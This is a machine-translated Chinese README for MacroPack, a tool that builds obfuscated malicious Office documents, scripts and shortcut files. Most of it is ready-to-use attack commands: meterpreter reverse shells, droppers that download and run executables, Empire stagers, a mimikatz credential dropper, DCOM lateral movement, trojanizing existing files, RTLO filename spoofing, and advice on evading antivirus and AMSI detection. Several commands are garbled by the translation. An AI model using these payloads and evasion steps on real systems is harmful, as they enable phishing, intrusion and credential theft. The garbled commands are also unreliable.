MacroPack Community 是一個用於自動混淆和產生復古格式(例如 MS Office 文件或 VBS 等格式)的工具。它還可以處理各種快捷方式格式。該工具可用於紅隊、滲透測試、演示和社會工程評估。 MacroPack 將簡化反惡意軟體解決方案繞過並自動化從 vb 來源到最終 Office 文件或其他有效負載類型的過程。使用起來非常簡單:
無需配置
一切都可以用一行程式碼完成
產生大多數 Office 格式和基於 VBS 的格式
專為高階社會工程攻擊而設計的有效負載(電子郵件、USB 金鑰等)
該工具與流行的滲透測試工具(Metasploit、Empire...)產生的有效負載相容。它也很容易與其他工具結合使用,因為可以從標準輸入讀取輸入並向另一個工具提供安靜的輸出。該工具是用 Python3 編寫的,可在 Linux 和 Windows 平台上運行
注意: Office 文件自動產生或木馬功能需要安裝正確的 MS Office 應用程式的 Windows 平台。
該工具將使用各種自動混淆技術。混淆功能與 MacroPack 產生的所有基於 VBA 和 VBS 的格式相容。
基本混淆(-o 選項)包括:
重新命名函數
重新命名變數
刪除空格
刪除評論
編碼字串
MacroPack 可以產生多種 MS Office 文件和腳本格式。將根據給定的檔案副檔名自動猜測格式。檔案產生是使用選項 --generate 或 -G 完成的。
MacroPack 專業版還允許您使用選項 --trojan 或 -T 木馬現有 Office 檔案。
Ms Office 支援的格式有:
MS Word(.doc、.docm、.docx、.dotm)
MS Excel(.xls、.xlsm、.xslx、.xltm)
MS PowerPoint(.pptm、.potm)
MS Access(.accdb、.mdb)
MS Visio(.vsd、.vsdm)
MS 項目 (.mpp)
腳本 (txt) 支援的格式有:
VBA 文字檔 (.vba)
VBS 文字檔 (.vbs)。
Windows 腳本檔案 (.wsf)
Windows 腳本元件 scriptlet(.wsc、.sct)
HTML 應用程式 (.hta)
XSLT 樣式表 (.xsl)(是的 MS XSLT 包含腳本 ^^)
快捷方式/Shell 支援的格式有:
外殼連結 (.lnk)
資源管理器命令檔 (.scf)
URL 快捷方式 (.url)
Groove 快捷方式 (.glk)
設定快捷方式 (.settingcontent-ms)
MS 庫 (.library-ms)
設定資訊 (.inf)
Excel 網路查詢 (.iqy)
Visual Studio 專案 (.csproj)
命令列 (.cmd)
僅限 SYmbolic Link (.slk) 專業版
壓縮 HTML 幫助 (.chm) 僅專業版
請注意,所有腳本和捷徑格式(LNK 除外)也可以在 Linux 版本的 MacroPack 上產生。
該軟體必須僅在紅隊參與、滲透測試、網路釣魚模擬、安全研究或其他形式的安全評估中使用,並獲得系統所有者的合法和正式授權。未經事先同意,禁止使用本軟體攻擊目標,這是非法的。使用者有責任遵守所有適用的地方、州、聯邦和國家法律。
對於因使用本軟體而可能造成的任何誤用或損壞,我們不承擔任何責任。
MacroPack 社群中並非提供 MacroPack 的所有功能和選項。僅在線上提供社群版本。專業版的功能真正將流程“武器化”,因此僅限專業人士使用。
專業模式包括以下功能:
進階反惡意軟體繞過
高級Shellcode注入方法
命令列混淆(Dosfuscation)
ASR 和 AMSI 繞過
自解壓縮 VBA/VBS 有效負載
木馬現有的 MS Office 文件、說明文件和 Visual Studio 專案。
嵌入誘餌有效負載
使用 DCOM 物件進行橫向移動
反逆向工程
沙箱檢測
支援更多格式,例如Excel 4.0 SYLK和編譯的幫助文件
從不常見的格式運行高級 VB 有效負載
武器化模板和附加模板(例如 EMPIRE、AUTOSHELLCODE)
Excel 4.0 巨集 (XLM)
還有更多…
BallisKit Vimeo 頻道上提供了一些簡短的示範影片。
重要提示:如果您想聯絡我以了解 MacroPack pro,請使用我的 emeric.nasi [at] sevagas.com 電子郵件地址。我不會回答專業版的匿名詢問,只會回答專業電子郵件。
從 https://github.com/sevagas/macro_pack/releases/ 取得最新的二進位文件
在安裝了正版 Microsoft Office 的 PC 上下載二進位。
打開控制台,CD 到二進位目錄並調用二進位文件,就這麼簡單!
Macro_pack.exe --幫助
您需要在 Windows 電腦上建置 MacroPack。下載並安裝相依性:
git 克隆 https://github.com/sevagas/macro_pack.gitcd macro_pack pip3 install -r 要求.txt
該工具採用 python 3 版本,因此只需從 python3 安裝開始即可。前任:
python3 Macro_pack.py --help# 或 python macro_pack.py --help # 如果 python3 是預設安裝
如果您想使用 pyinstaller 產生獨立的 exe:
安裝pyinstaller:pip install pyinstaller
雙擊“build.bat”腳本。
產生的 Macro_pack.exe 將位於bin目錄中。
列出所有支援的文件格式
Macro_pack.exe --listformats
列出所有可用模板
Macro_pack.exe --listtemplates
混淆 msfvenom 產生的 vba 檔案並將結果放入新的 VBA 檔案中。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | Macro_pack.exe -o -G metobf.vba
混淆 Empire stager VBA 檔案並產生 MS Word 文件:
Macro_pack.exe -f Empire.vba -o -G myDoc.docm
產生包含混淆的 dropper 的 MS Excel 檔案(下載 Payload.exe 並儲存為 Dropped.exe)
迴聲“https://myurl.url/payload.exe”“dropped.exe”| Macro_pack.exe -o -t DROPPER -G "drop.xlsm"
建立一個 word 97 文檔,其中在共用資料夾內包含混淆的 VBA 反向 meterpreter 有效負載
msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | Macro_pack.exe -o -G REMOTE-PCSharemeter.doc
使用 DROPPER_PS 範本下載並執行 Empire Launcher stager,無需 powershell.exe
# 1 產生一個包含 Empire lauchcher 的檔案 # 2 使該檔案在 Web 伺服器上可用,例如使用 netcat:{ echo -ne "HTTP/1.0 200 OKrnrn";貓 Empire_stager.cmd; } | nc -l -p 6666 -q1# 3 使用macro_pack在Excel檔案中產生DROPPER_PS有效負載echo http://10.5.5.12:6543/empire_stager.cmd | Macro_pack.exe -o -t DROPPER_PS -G join_the_empire.xls# 4 在目標上執行時,巨集將下載 PowerShdll,使用 rundll32 執行它,然後下載並執行 stager。
透過動態資料交換(DDE)攻擊執行 calc.exe
迴聲計算.exe | Macro_pack.exe --dde -G calc.xslx
使用動態資料交換 (DDE) 攻擊透過 powershell 下載並執行文件
# 1 更改 resourcescommunityps_dl_exec.cmd 中的目標檔案 URL# 2 在文件中嵌入下載執行 cmdmacro_pack.exe --dde -f ..resourcescommunityps_dl_exec.cmd -G DDE.xslx
透過 Excel Web 查詢檔案和 DDE 執行命令 (notepad.exe)
# 1 建立 dde.dat 文件,其中下一個內容=cmd|' /c notepad.exe'!A1# 2 在網站伺服器上託管 dde.dat,例如。使用macro_pack -l# 3 產生.iqy 檔macro_pack.exe -G dde.iqy
產生混淆的meterpreter反向TCP VBS檔案並運行
# 1 基於meterpreter模板以及Metasploit資源檔案產生混淆的VBSecho| Macro_pack.exe -t MEERPRETER -o -Gmeter.vbs # 2 在攻擊者機器上設定 meterpreter 監聽器 msfconsole -r meterpreter.rc # 3 使用wscript執行VBS檔案(執行32位元wscript,因為meterpreter有效負載是32位元)%windir%SysWoW64wscriptmeter.vbs
產生混淆的 HTA 文件,執行「systeminfo」並將結果傳回偵聽 192.168.0.5 的另一個 Macro_pack
# 1 使用 REMOTE_CMD templateecho http://192.168.0.5:1234/a "systeminfo" | 產生 HTA 文件Macro_pack.exe -t REMOTE_CMD -o -G info.hta # 2 在 192.168.0.5 上開啟 Macro_pack 作為 http 監聽器 巨集包.exe -l 。 --port=1234# 3 使用 mshta 執行 hta 檔 mshta.exe 完整/路徑/to/info.hta
產生 url 快捷方式,按一下該捷徑即可執行本機 HTA 文件
echo "檔案://C:Users使用者名稱Desktophello.hta" | Macro_pack.exe -G yop.url
產生 lnk 快捷方式,該快捷方式執行帶有 calc.exe 圖示運行 calc.exe 的 cmd
echo '"c:WindowsSystem32cmd.exe /c calc.exe" "calc.exe"' | Macro_pack.exe -G calc.lnk
使用植入程式對現有的共用「report.xlsm」檔案進行木馬攻擊。使用防AV和防逆向功能。
迴聲“http://10.5.5.12/drop.exe”“dropped.exe”| Macro_pack.exe -o -t DROPPER --bypass --stealth --antisandox --trojan "E:accountingreport.xls"
產生包含 VBA 自編碼 x64 反向 meterpreter VBA 負載的 Word 檔案(將繞過大多數 AV)。需要保持活動狀態,因為我們需要 meterpreter 在遷移之前保持活動狀態。
msfvenom.bat -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | msfvenom.bat Macro_pack.exe -o --autopack --keep-alive -G out.docm
使用反向原始 shellcode 木馬 PowerPoint 檔案。巨集被混淆和破壞以繞過 AMSI 和大多數防毒軟體。
迴聲信標.bin | Macro_pack.exe -o -t SHELLCODE --bypass -T hotpics.pptm
使用 DCOM 在遠端 PC 上執行巨集。
REM 第 1 步:確保您有足夠的權限 net use 192.168.0.8c$ /user:domainusername 密碼REM 第 2 步:產生文檔,例如此處,meterpreter 反向 TCP Excel fileecho 192.168.0.5 4444 | Macro_pack.exe -t METERPRETER -o -Gmeter.xlsmREM 步驟3:將文件複製到遠端共用上的某個位置copymeter.xlsm "192.168.0.8c$usersusernamemeter.xlsm"REM 步驟4:執行! dcom=" 192.168.0.8c$usersusernamemeter.xlsm"REM 一步完成第 2 至 4 步:echo 192.168.0.5 4444 | Macro_pack.exe -t METERPRETER -o -G "192.168.0.8c$usersusernamemeter.xlsm" --dcom="192.168.0.8c$usersusernamemeter.xlsm"
Main payload generation options: -G, --generate=OUTPUT_FILE_PATH. Generates a file. Will guess the payload format based on extension. MacroPack supports most Ms Office and VB based payloads as well various kinds of shortcut files. Note: Office payload generation requires that MS Office application is installed on the machine --listformats View all file formats which can be generated by MacroPack -f, --input-file=INPUT_FILE_PATH A VBA macro file or file containing params for --template option or non VB formats If no input file is provided, input must be passed via stdin (using a pipe). -t, --template=TEMPLATE_NAME Use code template already included in MacroPack MacroPack supports multiple predefined templates useful for social engineering, redteaming, and security bypass --listtemplates View all templates provided by MacroPack -e, --embed=EMBEDDED_FILE_PATH Will embed the given file in the body of the generated document. Use with EMBED_EXE template to auto drop and exec the file or with EMBED_DLL to drop/load the embedded dll. Security bypass options: -o, --obfuscate Obfuscate code (remove spaces, obfuscate strings, obfuscate functions and variables name) --obfuscate-names-charset=Set a charset for obfuscated variables and functions Choose between: alpha, alphanum, complete or provide the list of char you want --obfuscate-names-minlen= Set min length of obfuscated variables and functions (default 8) --obfuscate-names-maxlen= Set max length of obfuscated variables and functions (default 20) --uac-bypass Execute payload with high privileges if user is admin. Compatible with most MacroPack templates Other options: -q, --quiet Do not display anything on screen, just process request. -p, --print Display result file on stdout (will display VBA for Office formats) Combine this option with -q option to pipe result into another program ex: cat input_file.vba | macro_pack.exe -o -G obfuscated.vba -q -p | another_app -s, --start-function=START_FUNCTION Entry point of macro file Note that macro_pack will automatically detect AutoOpen, Workbook_Open, or Document_Open as the start function --icon Path of generated file icon. Default is %windir%system32imageres.dll,67 --dde Dynamic Data Exchange attack mode. Input will be inserted as a cmd command and executed via DDE This option is only compatible with Excel formats. --run=FILE_PATH Open document using COM to run macro. Can be useful to bypass whitelisting situations. This will trigger AutoOpen/Workbook_Open automatically. If no auto start function, use --start-function option to indicate which macro to run. --unicode-rtlo=SPOOF_EXTENSION Inject the unicode U+202E char (Right-To-Left Override) to spoof the file extension when view in explorers. Ex. To generate an hta file with spoofed jpg extension use options: -G something.hta --unicode-rtlo=jpg In this case, windows or linux explorers will show the file named as: somethingath.jpg -l, --listen=ROOT_PATH Open an HTTP server from ROOT_PATH listening on default port 80. -w, --webdav-listen=ROOT_PATH Open a WebDAV server on default port 80, giving access to ROOT_PATH. --port=PORT Specify the listening port for HTTP and WebDAV servers. -h, --help Displays help and exit
可以使用 -t、--template=TEMPLATE_NAME 與其他選項結合來呼叫模板。
這是所有可用的模板。
只需列印一條問候訊息並了解有關巨集的資訊即可。
為該範本提供作者的姓名或電子郵件:
-> 範例: echo "@Author" | macro_pack.exe -t HELLO -G hello.pptm
執行命令。
給這個範本一個命令列
-> 範例(從 xslt 檔案彈出 calc.exe): echo "calc.exe" | macro_pack.exe -t CMD -G cmd.xsl
執行命令列並將結果傳送到遠端 HTTP 伺服器。
為該模板提供伺服器 url 和要運行的命令:
-> 範例: echo "http://192.168.0.5:7777" "dir /QC:" | macro_pack.exe -t REMOTE_CMD -o -G cmd.doc
# 使用任何網頁伺服器或 netcatnc -l -p 7777 擷取結果
下載並執行檔案。
為該範本提供檔案 url 和目標檔案路徑
-> 範例: echo
使用 rundll32 下載並執行 Powershell 腳本(以繞過被封鎖的 powershell.exe)。
注意:此有效負載將從 Github 下載 PowerShdll。
為該範本提供您要執行的 powershell 腳本的 URL:
-> 範例: echo "
下載具有另一個副檔名的 DLL 並使用 Office VBA 來執行它。
-> 範例,使用 Office 載入 meterpreter DLL:
REM 產生meterpreter dll Payloadmsfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f dll -ometer.dllREM 使其在網站伺服器上可用,例如在連接埠6666 上使用netcat{ echo -000/1. OKrnrn" ;貓米.dll; } | nc -l -p 6666 -q1REM 建立OFfice 文件,該文件將下載DLL 並調用它REM DLL URL 為http://192.168.0.5:6666/normal.html 並將保存為.asd 文件echo "http:// 192.168 .0.5:6666/normal.html" 運行 | Macro_pack.exe -t DROPPER_DLL -o -Gmeterdll.xls
Meterpreter 反向 TCP 範本使用 Cn33liz 的 MacroMeter。
此範本是由 Cn33liz 建構的 CSharp meterpreter Stager,並使用 James Forshaw 的 DotNetToJScript 嵌入到 VBA 中。
為此範本提供監聽 mfsconsole 的 IP 和 PORT:
-> 範例: echo
該模板還產生一個 meterpreter.rc 檔案來建立 Metasploit 處理程序
-> 範例: msfconsole -r meterpreter.rc
刪除並執行嵌入檔案。
與 --embed 選項結合使用,它將在 TEMP 資料夾下放置並執行隨機名稱的嵌入檔案。
-> 範例: macro_pack.exe -t EMBED_EXE --embed=c:windowssystem32calc.exe -o -G my_calc.vbs
與 --embed 選項結合使用,它將刪除並呼叫給定 DLL 中的函數。
為該範本指定要在 DLL 中呼叫的函數的名稱和參數
-> 範例1: echo "main" | macro_pack.exe -t EMBED_DLL --embed=cmd.dll -o -G cmd.doc
-> 範例 2 : echo "main log privilege::debug sekurlsa::logonpasswords exit" | macro_pack.exe -t EMBED_DLL --embed=mimikatz.dll -o -G mimidropper.hta
各種功能都針對本地安裝的反惡意軟體解決方案以及線上服務進行了測試。我對多種有效負載和 MacroPack 功能進行了多次測試。大多數防毒靜態將透過簡單的「混淆」選項來規避。然而,與大多數免費工具一樣,有效負載通常透過 AMSI 等行為分析來捕獲。 MacroPack pro 模式中可用的功能通常允許完全繞過 AV,包括 AMSI。
警告:請勿將樣本提交給線上掃描器(例如 VirusTotal),這是破解隱形巨集的最佳方法。我還建議您不要向 NoDistribute 等非報告網站提交內容。您無法確定這些網站將如何處理您提交的資料。如果您對 Macro_pack AV 檢測有疑問,可以寫信給我們尋求建議或提交問題或拉取請求。
有關 MacroPack Pro 的部落格文章:
https://blog.sevagas.com/?Launch-shellcodes-and-bypass-Antivirus-using-MacroPack-Pro-VBA-payloads
https://blog.sevagas.com/?EXCEL-4-0-XLM-macro-in-MacroPack-Pro(MacroPack Pro 中的 Excel 4.0 有效負載)
https://blog.sevagas.com/?Advanced-MacroPack-payloads-XLM-Injection(MacroPack Pro 中的 XLM 注入)
關於利用 MS Office、VBS 和其他復古安全工具進行駭客攻擊的部落格文章:
https://blog.sevagas.com/?Bypass-Windows-Defender-Attack-Surface-Reduction
https://subt0x11.blogspot.fr/2018/04/wmicexe-whitelisting-bypass-hacking.html
http://blog.sevagas.com/?My-VBA-Bot(寫完整的 VBA RAT,包括如何繞過 VBOM 保護)
http://blog.sevagas.com/?Hacking-around-HTA-files(在非 hta 檔案和 hta 多語言中執行 hta 程式碼)
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/(關於動態資料交換攻擊)
https://enigma0x3.net/2017/09/11/terior-movement-using-excel-application-and-dcom/
其他有用的連結:
https://github.com/p3nt4/PowerShdll(僅使用 dll 執行 PowerShell)
https://gist.github.com/vivami/03780dd512fec22f3a2bae49f9023384(使用PowerShdll VBA實作執行powershell腳本)
https://github.com/EmpireProject/Empire
https://medium.com/@vivami/phishing- Between-the-app-whitelists-1b7dcdab4279
https://github.com/Cn33liz/MacroMeter
https://github.com/khr0x40sh/MacroShop
https://docs.microsoft.com/en-us/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script
https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/attack-surface-reduction-exploit-guard
請隨時在我的 Twitter 帳戶@EmericNasi 上給我留言
電子郵件:
emeric.nasi[ 位於 ]sevagas.com
ena.sevagas[ 位於 ]protonmail.com
重要提示:如果您想就 MacroPack pro 與我聯繫,請使用我的 sevagas.com 電子郵件地址。另請注意,我不會回答專業版的匿名詢問,只會回答專業電子郵件。
Apache 授權 2.0
版權所有 2017,2018,2019,2020,2021,2022 Emeric “Sio” Nasi (blog.sevagas.com)